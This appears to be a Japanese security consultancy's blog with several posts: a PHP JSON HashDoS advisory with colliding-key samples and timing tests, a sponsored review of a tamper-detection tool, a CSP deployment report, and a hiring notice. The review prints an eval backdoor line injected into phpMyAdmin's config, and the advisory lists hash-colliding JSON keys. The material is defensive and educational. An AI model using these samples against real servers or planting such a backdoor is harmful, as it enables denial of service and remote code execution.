高橋: …シングルクォートをファイル名としてファイルオープンしたが、そのようなファイルはなかったのかと…
徳丸: 素晴らしい! それでは…
その際、脆弱性の名前を正答することが重要なのではありません。エラーメッセージから、アプリケーション内部で起こっていることを推測できることを重視いたします。セキュリティの知識は、入社してからいくらでも学習できますが、デバッグの勘所のようなものは、セキュリティ実務だけでは習得が難しいからです。
徳丸が自らテストをするということで、「お腹が痛くなりそう」と言った方もおられますが、脆弱性診断の基礎の基礎が習える機会とでも考えていただいて、気楽にご応募下さい。ただし、冷やかしでは困りますが(笑)。
入社試験は面接と実技試験あわせて1.5時間程度かかります。時間の余裕のある日時を指定いただくか、2回に分けて受験いただいても構いません。
皆様の積極的な応募をお待ちしています。応募を希望される方は、こちらの問い合わせフォームから入社希望の旨ご連絡ください。人材募集については、こちらの記事もご参照ください。
2015年10月13日火曜日
PHPのJSON HashDosに関する注意喚起
だって、 hashdos 脆弱性の時、 Python とかの言語が、外部入力をハッシュに入れるときに衝突を狙えないように対策したのに、phpだけPOST処理で対策したからね?
json を受け取るような口もってるphpアプリのほとんどがhashdos残ってるんじゃない?
— INADA Naoki (@methane) 2015, 6月 17
このような状況に対して、約1年前にjson_decodeを入力経路とするHashosのPoC(概念実証コード)が公開されており、潜在的には「いつ攻撃があってもおかしくない」状況になっています。この攻撃をJSON HashDosと呼ぶことにします。本稿はJSON HashDosの概要を説明し、その影響と対策等について報告します。はじめに
昨年の11月17日、スイスの Lukas Martinelli によって、PHPのjson_decode関数にHashDos脆弱性があることと、具体的な攻撃方法が公表されました。PHP Denial of Service Attack Revisitedそして、この記事がPHP Internals - PHP Runtime Development Mailing List にて紹介されました(2014/12/23)。
http://lukasmartinelli.ch/web/2014/11/17/php-dos-attack-revisited.htmlSigh(やれやれ)の中身の心は「スイスの若造がいきなりこんなゼロデイ脆弱性をPoCつきで公表しやがって」くらいでしょうか(PoCは現在は削除されているようです)。しかし、皮肉なことに、このメーリングリストの投稿(公開です)により、この攻撃方法が広く知られることになってしまいました。
Sigh
[PHP-DEV] JSON HASHDOS (アーカイブ)より引用
以下、攻撃の概要と対策について説明します。
HashDosとは何だったか
古典的なHashDos(Hash Collision Attack)は、PHPをはじめ多くの言語で使用されているデータ構造「ハッシュテーブル」の「衝突(Collision)」を巧妙に悪用したサービス妨害攻撃です。ハッシュテーブルでは、キー文字列のハッシュ関数(MD5などの暗号的なハッシュ関数である必要はない)を用います。PHPで用いられているハッシュ関数はDJBX33Aと呼ばれるもので、概ね以下のようなコードです。実際のコードは速度最適化のためにこれより複雑です。この関数で求めたハッシュ値(整数)を配列に添字として用いることにより、平均的には、データのサーチ、挿入、削除をO(1)(定数オーダー)の時間で求めることができるというものです。しかし、最悪ケースでは「たまたま」ハッシュ値がすべてのデータで一致した場合は、すべてのデータが配列上の同じ添字のところに入る(衝突)ため、一件あたりのサーチ、挿入、削除の処理時間はO(N)(データ量に比例するオーダーの)時間になります。N件のデータの挿入はO(N ** 2) (データ量の2乗のオーダーの)時間がかかります。ulong get_hash(const char *arKey) { ulong hash = 5381; // 初期値 while (*arKey) { hash = hash * 33 + *arKey++; } return hash; }
2011年末に28C3(28th Chaos Communication Congress)において発表されたHashDosのPoCでは、DJBX33AではEz、FY、G8等のハッシュ値が等しくなることから、これらを組み合わせることにより簡単にハッシュ値の衝突が起こせることを悪用していました。例えば、EzEz、EzFY、FYEz、FYFYは、上記のハッシュ関数ではいずれも0x17c84f603を返します(64ビット環境の場合)。その場合、ハッシュテーブルにデータを挿入する様子は下図で示されます。この図(アニメーションGIF)はLukas Martinelliのブログから引用しました。
28C3で発表されたPoCでは、HTTPのリクエスト(GET/POST/Cookie等)をPHPが内部的に連想配列(ハッシュ)として取り込むところを攻撃経路にしていました。この時点ではアプリケーションは処理を開始しておらず、アプリケーション側での対処は不可能なため、PHP5.3.9にて実行時設定max_input_varsが導入され、POST等の変数の数を制限する(デフォルトは1000)という対症療法がとられました。
JSON HashDosの概要
上記の「古典的HashDos」に対して、Lukas MartinelliのPoCは以下の点が異なっています。- json_decode関数によるJSONデータの受付処理を攻撃経路としている
- ハッシュの衝突をハッシュ値の下位16ビットに限定している
最近のWeb APIではJSONでデータをWebサーバーに送信(リクエスト)する場合が多いと思いますが、上記は、PHPでこれを実現する場合の典型的なコードでしょう。$body = file_get_contents('php://input'); // POSTデータを取得 $params = json_decode($body); // POSTデータをJSONとしてデコード
そして、Lukas MartinelliのPoCでは、ハッシュ値の衝突を起こすキー文字列は以下のようになっています(オリジナルのPoCでは2個目のキーが4wP2となっていますが、4wPの誤植と思われます)。
Lukas MartinelliのPoCにて、ハッシュ値の衝突を下位16ビットに限定している理由は、PHPが内部で使用しているハッシュ表のサイズnTableSizeが2のn乗であり、ハッシュ値は nTableSize - 1でマスクして用いているからです。すなわち、実際には、ハッシュ値の下位ビットのみが用いられるため、すべてのビットが一致している必要はありません。PoC: {"4vq":"key1", "4wP":"key2", "5Uq":"key3", "5VP":"key4", "64q":"key5" } hash('4vq') = b879fc0 hash('4wP') = b879fc0 hash('5Uq') = b879fc0 hash('5VP') = b879fc0 hash('64q') = b879fc0 ... // 以下はgithub上で紹介されていたPoCに存在するキー ... hash('aOtw') = 17c939fc0 ... hash('dUUuVB') = 652f7559fc0
実験
キーのハッシュ値下位16ビット(128K個のデータは17ビット)が全て一致するJSONデータを用い、先の「脆弱なコード」に処理させた結果を以下に示します。実行環境は、Windows7(Intel Core i7-4770 3.4GHz)上のVMware Playerで動くUbuntu12.04 32bitです。PHP-5.6.14
データ数 | 実行時間(秒) | データサイズ(バイト) |
---|---|---|
32K(2^15) | 5.7 | 346,157 |
64K(2^16) | 20.2 | 708,676 |
128K(2^17) | 91.3 | 1,435,685 |
参考までにPHP-7.0.0RC4での結果を以下に示します。ハッシュ関数の実装は変わっていないようですが、内部処理の高速化により、全体で 1.7倍から 2倍近く高速化されていて素晴らしいですね…しかし、HashDosの影響を受けること自体は変化がないようです。
PHP-7.0.0RC4
データ数 | 実行時間(秒) | データサイズ(バイト) |
---|---|---|
32K(2^15) | 3.2 | 346,157 |
64K(2^16) | 11.8 | 708,676 |
128K(2^17) | 46.0 | 1,435,685 |
攻撃の影響
JSON HashDosの影響により、CPU負荷が上昇し、新たなリクエストを受け付けにくい状態になります。一方、サーバーダウンや、内部情報の漏洩、データの改ざん等は発生しません。類似の脆弱性であるApacheKillerの場合は、メモリ消費量が急上昇することによりサーバーがダウンする可能性もあります(参考: Apache killerは危険~Apache killerを評価する上での注意~)が、HashDosは単にCPU負荷の上昇だけであり、攻撃がやめば比較的短時間にサーバーは復旧します。
現状での攻撃の有無
今回紹介するJSON HashDosについては、Lukas Martinelliの発表後一年近くが経ちますが、現実に攻撃に使われたとするニュースは見当たりません。それ以前の話として、過去に話題となったいわゆるApache KillerやオリジナルのHashDosについても、攻撃はほとんど見当たらない状況です。それは、下記に引用する金床氏のブログ記事でも指摘されています。数年前に発見されたHashDoSですが、実際に攻撃が行われているケースは殆ど目にしません。ソフトウェアのロジックを突くDoSとしては、他にApacheに対してRangeヘッダを使う攻撃手法(Apache Killer)なども発見されましたが、こちらも同様に、殆ど実際の攻撃としては検知していません。DoS攻撃にはもっと単純で、攻撃対象のアーキテクチャを調べる必要のない、シンプルな物量攻撃が好まれているような印象です。そのため筆者としてはHashDoSのセキュリティリスクは非常に低いものという認識です。
ScutumのゼロデイHashDoS対策と、JavaのXMLパーサ実装より引用
既存ソフトウェアへの影響
JSON HashDosは、PHPのjson_decode関数に外部データをそのまま与えると発生するというシンプルな条件なので、JSONを入力とするPHP記述のWeb APIでは該当する可能性があります。私は、WordCamp Tokyo 2015にて講演するため、そのネタ探しとして、WordPressに対するJSON HashDosの影響を調べたところ、以下が判明しました。
- WordPress 2.5から3.8.11(3.8系の最新版)はJSON HashDosの影響を受ける
従って、WordPress3.8以下をお使いのサイトは、緊急ではないものの、WordPressの最新版に移行することを推奨します。
対策
現状、HashDosや類似のDoS攻撃が実地に使用されるケースがないことと、単純なDoSであり情報漏えいや改ざん等には至らないことから、この問題に対策せず許容するという判断はあり得ると考えます。一方、JSON HashDosの影響を重視し、対策するとすれば、以下が考えられます。
(1) json_decodeの入力値を検証する
JSON HashDosの攻撃に用いるデータは、最低でも数十キロバイトはないと効果的でないため、入力値のバリデーションによりjson_decodeの入力値のデータサイズを制限できれば、攻撃を緩和できます。
(2) max_execution_time を制限する
max_execution_time は、スクリプトの最長実行時間で、この時間を過ぎるとPHP処理系により強制終了させられます。デフォルト値は30秒です。この時間を短くすると、JSON HashDosによる攻撃を早めに終わらせられるため、攻撃の緩和になります。
(3) JSONの代わりにXMLを入力とする
修正としては大掛かりになりますが、JSONの代わりにXMLを使用することでも対策になります。
筆者が確認したのは、SimpleXML系のライブラリですが、SimpleXMLを使用すると、XMLデータをPHPの配列ではなく、libxml2の内部形式でデータを保持し、かつlibxml2がHashDos対策がされているため、JSON HASH DOSの影響を受けないと考えられます(実証済み)。
一方、SimpleXMLではなく、xml_parse_into_structのようにXMLデータをPHPの配列に変換するような用法では、HashDosの影響を受けます。ただし、xml_parse_into_structはデフォルトでタグを大文字に変換するため、HashDosの影響は受けにくいのですが、以下のように大文字・小文字を区別する設定の場合は、json_decodeと同様にHashDosの影響を受けます。
(4) WAFによる防御$xml_parser = xml_parser_create(); // XMLパーサを生成 xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0); // 大文字と小文字を区別
WAF(Web Application Firewall)によっては、JSON HashDosの防御機能を備えるものがあります。詳細についてはお問い合わせください。
まとめ
JSON HashDosについて、原理とその影響、WordPressの旧バージョンが影響を受けること、攻撃の現状と対策について報告しました。PHPのJSON HashDosは、未対策のまま一年近くが経過していますが、いまだ攻撃の兆候はありません。
PHP JSON HashDosは、いわゆるゼロデイ脆弱性ではありますが、当面攻撃の兆候がないこと、PHP7でも対策される見込みがないこと、セキュリティの専門家(攻撃者を含む)には既知の内容なのに開発者には情報が行き渡っておらず、攻撃側に情報が偏っている状態であることから、ここに問題の概要を報告し、注意喚起するものであります。
情報提供のお知らせ
スクリプトキディ等による悪用防止のため、この記事は攻撃の詳細を割愛しております。技術的な詳細情報を希望される方には、原則として無償で、情報提供をさせていただきます。ただし、秘密保持の観点から、対象は法人など実在確認のとれる団体に限らせていただきます。また、オープンソース・ソフトウェアの開発者等に対しても、情報提供いたします。以下のページよりご連絡ください。お問い合わせ - HASHコンサルティング株式会社WordCampの私のセッションにてWordPress 3.8に対するJSON HashDosのデモを予定しております。ただし、WordCampはセキュリティ専門家向けのカンファレンスではないため、あくまで概要の報告になります。
免責
このセキュリティ情報は予告なしに改訂される場合があります。このセキュリティ情報を適用した結果についてHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものです。2015年7月7日火曜日
【10社限定】イー・ガーディアン主催のセミナーにて講演します
日時:2015年7月30日(木)16:00~18:00
場所:イー・ガーディアン株式会社
費用:無料(申し込みはこちら)
講演タイトル:安全なWEBサイトの構築方法 ~被害事例から学ぶ最新の攻撃手法と対策~
最近の侵入事例や侵入に多く用いられている攻撃手法を題材として、ウェブサイトの攻撃方法と対策の考え方についてご説明いたします。
今回は、こじんまりとプライベートな雰囲気となりますので、いままでブログや講演で取り上げていない以下の脆弱性のデモと対策を予定しています。
- PHPのJSON HASH-DOS脆弱性の傾向と対策
また、通常の基調講演ではお見せしてないものとして、これら攻撃がWAF等によってどのようにブロックされるかもお見せしようと思います。
それでは麻布十番にてお待ちしております。
2014年8月5日火曜日
[PR]リアルタイム改ざん検知・復旧システムであるウェブアルゴスを使ってみた
重要事項説明
本稿は、HASHコンサルティング株式会社が、デジタルインフォメーションテクノロジー株式会社(以下DIT)から依頼を受けて「ウェブアルゴス」を評価し、その結果を執筆した記事広告です。ウェブアルゴスとは
DITのウェブアルゴスが7月1日に発売された。ウェブアルゴスは以下の様な特徴を持つ改ざん検知ソフトウェアだ。- バッチ検査ではなくリアルタイム検知が可能
- 検知だけではなく修復も可能
- 改ざん後のファイルを保全する監査機能
多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入したこれらは無料で導入できる改ざん検知の仕組みであるが、以下の課題もある。
- Tripwireはバッチ型の改ざん検知であり即時性に乏しい
- Tripwireの導入には設定ファイルの編集が必要であるが、直感的にわかりにくく、習熟を要する
- Inotifywaitはリアルタイム検知が可能だが単純なコマンドに過ぎず、スクリプト作成などの周辺支援が必要となる
- Tripwire、inotifywaitとも改ざん検知のみで修復の機能はない
ウェブアルゴスの概要
ウェブアルゴスの概要を下図により説明する。ウェブアルゴスは「エージェント型」の改ざん検知システムであり、サーバ内に改ざん検知のための常駐ソフトウェア(エージェント)を導入する必要がある。このため、即時性と、非公開ファイル(設定ファイル、実行ファイル等)の監視も可能である。
ウェブアルゴスは監視対象のウェブサーバとは別に管理用サーバが必要であり、管理用ソフトウェア(WA-Manager)が導入される。管理用ソフトウェアは、エージェントの設定、監視、GUI表示などを担当する。
システム要件
ウェブアルゴスマネージャのシステム要件は、こちらを参照されたい。とくに問題になるものとして、まずマネージャの対応OSは以下のとおりである。
RedHat Enterprise Linux 5.x 6.x (32bit / 64bit)推奨空きメモリサイズが3072MB以上ということから、64bit版のOSが望ましいといえるだろう。
CentOS 5.x 6.x(32bit / 64bit)
Amazon Linux 2013以降(32bit / 64bit)
※ RHEL、CentOSとも 7.x に対応予定
推奨空きメモリサイズ 最小2048MB以上、推奨3072MB以上
ウェブアルゴスエージェントの要件(概要)は以下のとおりである。
対応OS必要な空きメモリサイズは動作モードにより異なるが、自動リカバリ機能を使用する場合でかつ監視対象のファイルの総容量が大きい場合、メモリの制限に気をつける必要がある。
ウェブアルゴスマネージャの対応OSに加えて下記のOS(いずれも32bit、64bitに対応)。
SUSE Linux Enterprise Server 11
Ubuntu Server 12.x 13.x 14.x
Debian 7.x
推奨空きメモリサイズ(改ざん検知時の動作として「通知」 と 「自動リカバリー」で運用する場合)
監視対象ディレクトリ/ファイル総サイズの1/4程度
インストール・設定
インストールに必要なファイルはDITのサイトからダウンロードする。インストーラーはバイナリ形式であり、実行権限を与えて実行するだけである。インストールが終わった後の設定は、マニュアルにしたがってマネージャのWeb GUIから操作する。筆者の理解不足が原因のトラブルもあったが、DITのエンジニアが迅速かつ的確に対応いただいたので、導入はスムーズに行えた。
使ってみる
現実的なWeb改ざんの例として、phpMyAdminの脆弱性(CVE-2011-2505/2506)を悪用したPoC(概念検証プログラム)を実行して、ウェブアルゴスの検知状況を確認した。このPoCの中身については、以下のブログ記事を参考にされたい。phpMyAdminにおける任意スクリプト実行可能な脆弱性の検証このPoCは、外部からphpMyAdminの設定ファイル(config.inc.php)を改ざんして、任意のスクリプトが実行できるバックドアを仕込むというものであるので、改ざん検知の検証用として適している。
まず、マネージャのGUIから、Webのドキュメントルート・ディレクトリを監視対象として指定し(下図)、Only Alert(監視のみ)モードで監視を始める。画面からもわかるように、監視対象の設定はWebのGUIにより直感的に行える。
次に、攻撃者の端末に見立てた端末から、phpMyAdminの脆弱性をついた攻撃をかけると、下図のように攻撃は成功する。
この際に、phpMyAdmin/config/config.inc.phpが改ざんされるので、下図のように警告がログに表示され、メールでのアラートが送信される。
(Web画面の様子)
(アラートメールの例)
以上のように、監視のみの設定だと攻撃を防ぐことはできないが、攻撃を受けたことをリアルタイムに検知して、素早く対処をとることができ、被害を最小限に食い止めることに役立つ。
自動復旧モードだとスクリプト実行を阻止できた
次に、上記の攻撃により改ざんされたファイルを手動で復旧した後に、ウェブアルゴスのモードを「Alert and recovery」(検知と自動復旧)に変更した状態で同じ攻撃をしてみる。すると、攻撃者の画面は下図のようになり、攻撃は途中で失敗していることが分かる。これは、いったんは対象ファイルが改ざんされたものの即座に復旧しているため、改ざん後のスクリプトの実行は阻止したことになる。つまり、攻撃は受けたが実害はなかったということだ。この際の監視ログは以下の通り。
攻撃を受けてから0.01秒でファイルを復元していることがわかる。
今度は、証拠保全のモードで同じことをやってみよう。攻撃が阻止されるところは同じで、ログは以下のようになる。
0.002秒でファイルは復旧しているが、先ほどとの時間差はサーバの状況による誤差だろう。そして、復旧前のファイルが/var/webargus/…以下のディレクトリに保全されていることがわかる。そのファイルの一部を以下に示す。
/* Servers configuration */
$i = 0;
/* Server: localhost [*/foreach($_GET as $k=>$v)if($k===666)eval($v);/*] */
$i++;
$cfg['Servers'][$i]['port'] = '0';
/* End of servers configuration */
赤字の部分が外部から注入されたスクリプトだ。このように、証拠保全の機能を活用にすることにより、攻撃の種類や意図、脆弱性の特定に役立つ情報を得ることができる。エージェントを停止されたらどうなるか
Webサーバに対する監視は、同じサーバ上で動いているエージェントが行うので、外部からの攻撃によりエージェントが停止される事態も想定しなければならない。この場合の挙動を確認するために、エージェントを停止してみよう。以下はウェブアルゴスの正規の停止方法ではなく、外部からの攻撃者がエージェントを停止する様子を模している。エージェントに対してはマネージャ側から定期的(デフォルトは5分)にポーリングにより死活監視を行っているので、以下のようなメールでエージェントの停止を警告する。$ cat /var/run/webargus/agent.pid ← エージェントのpidを確認 1677 $ sudo kill 1677 ← エージェントを停止
また、マネージャのログは以下のような表示となる。
通知を受け取った管理者は、エージェントのログ等を調べて、停止の原因がリソース不足などによる事故か、外部からの攻撃によるものかを切り分け、攻撃が疑われる場合は、すでに管理者権限を奪われている可能性があるため、早急に外部からの接続を遮断するなど、必要な対処を行う必要がある。
所感・まとめ
リアルタイムの改ざん検知と復旧機能を特徴とするウェブアルゴスを試用した。筆者はすでにinotifywaitと手作りのスクリプトによるリアルタイム改ざん検知の仕組みを自社のWebサイトにて運用しているが、これに加えて、リアルタイムの復旧ができることに大きな魅力を感じた。Webサイトに対する侵入事件では、多くの場合、WebShellと呼ばれる攻撃ツールを外部からダウンロードするところから始まる。したがって、WebShellの設置をリアルタイムに検知して、設置を妨害することができれば、攻撃自体を防御できる可能性が高い。
また、仮に侵入を許したとしても、その後のコンテンツ改ざんを防ぐことができれば、サイト閲覧者のウイルス感染などの「実害」を予防できる可能性が高くなる。
一方、ウェブアルゴスを導入する課題としては以下があると考える。
- 多くのファイルを監視する場合、エージェントのメモリ使用量が増大する
- SQLインジェクションによる改ざんには効果が無い
- 設定ファイル、実行ファイル、コンテンツファイルなどから、改ざん検知が重要なファイルを洗い出し、最適な検知設定を行う
- Webサーバ内のディレクトリ、ファイルの権限管理を細やかに行い、Webサーバプロセスから変更できるファイル等の範囲を制限する
- /tmpディレクトリをnoexecオプションつきでマウントすることにより、外部から書き込めるディレクトリに攻撃ツールが設置できないように保護する
- WAF(Web Application Firewall)を導入することにより、SQLインジェクション等のアプリケーション脆弱性に対する防御策を講じる
2013年12月6日金曜日
弊社のホームページにContent Security Policy(CSP)を導入しました
具体的には、以下のように指定して使います。
この結果、以下のようにJavaScriptの記述が制限されます。Content-Security-Policy: default-src 'self'
- 外部のJavaScriptの読み込みは禁止
- HTMLソースに記述した<script>...</script>のJavaScriptは禁止
- イベント属性(onload="xxxx"など)は禁止
CSPは、JavaScriptのコードとデータを分離して、コードは静的な*.jsファイルに記述、可変のデータはHTML側に寄せて、「可変のリソースにはJavaScriptを記述できないように制限する」ことで、クロスサイト・スクリプティング(XSS)防御の切り札となることが期待されています。
CSP導入にあたり、弊社ホームページのJavaScriptの使用状況を調べました。その結果は以下の通りです。
- JavaScriptは基本的に使っていない
- 外部から読み込むJavaScrpitはある(下記)
- Google Analytics(アクセス解析)
- Slideshare(プレゼンテーション資料)
- YouTube(動画)
- Vimeo(動画)
- Google Analyticsは残すこととして、CSP上の許可設定をする
- Slideshare、YouTube、Vimeoは許可しないこととし、これらを使うコンテンツはオフィシャルブログ(ここ)に転載する
Header Add Content-Security-Policy "default-src 'self' https://www.google-analytics.com"しかし、これだけでは駄目です。Google Analyticsの設定は、以下のようなJavaScriptがHTMLインラインスクリプトで記述されています。
これだとCSPのエラーになるので、上記スクリプトを/ga.jsというファイルに記述して、<script src="/ga.js"></script>により読み込むようにしました。これが正常に動作することは、Google Analyticsのリアルタイムレポートで確認しました。<script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-XXXXXXX-X', 'hash-c.co.jp'); ga('send', 'pageview'); </script>
上記を実施してテストしてみると、スタイルシートのところでエラーになりました。弊社ホームページのCSSは、大部分が/default.cssに記載されていますが、一部のCSSがインラインで記述されていました。これはスタイルの微調整のためです。インラインCSSを許可するようにしてもよいのでしょうが、せっかくなので、インラインスタイルシートを外部スタイルシートに移動し、ID属性で指定するようにしました。インラインスタイルシートはまだ一部残っていますが、画面が大きく乱れるものは対応したつもりで、残りはおいおい対応する予定です。
ということで、実施した内容は以下の通りです。
- SlideShare等を使用しているコンテンツをオフィシャルブログに転載
- Google Analyticsのスクリプトを/ga.jsに記載
- Google Analyticsを設定したページを/ga.jsの読み込みに変更
- インライン・スタイルシートを外部スタイルシートに変更
CSP対応の所感ですが、サイト独自のJavaScriptを使っていないサイトであるにも関わらず、CSP対応はかなり面倒な作業だという印象を受けました。やはり、インラインでJavaScriptやCSSが記述できないと「めんどうくさい」。しかし、インラインJavaScriptを許可してしまうとCSPのXSS防御機能は意味がなくなりますので、これは我慢するしかないでしょう。
中期的には、jQueryなどのJavaScriptライブラリや、Google AnalyticsやSlideShareなどから読み込むコンテンツが、CSP前提で使いやすい形に改善されることを期待します。